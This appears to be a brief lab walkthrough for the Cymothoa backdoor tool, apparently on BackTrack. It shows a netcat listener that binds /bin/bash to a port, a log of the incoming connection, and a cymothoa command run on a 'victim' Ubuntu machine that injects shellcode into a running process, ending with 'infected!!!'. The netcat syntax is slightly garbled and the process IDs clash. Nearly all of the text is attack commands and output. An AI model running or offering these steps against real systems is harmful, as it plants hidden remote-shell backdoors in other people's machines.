editing cymothoa

On bactrack console type :
#nc -l -v -p  18349 -e > cy /bin/bash
listening on [any] 18349 ...
192.168.56.1 inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.101] 55876
then in victim terminal(ubuntu) add this command:
/cymothoa -p 1764 -s 0 13
[+] attaching to process 1491

 register info:
 -----------------------------------------------------------
 eax value: 0xfffffdfc   ebx value: 0x931c028
 esp value: 0xbfae2da0   eip value: 0x6ea416
 ------------------------------------------------------------

[+] new esp: 0xbfae2d9c
[+] injecting code into 0x005b0000
[+] copy general purpose registers
[+] detaching from 1764
[+] infected!!!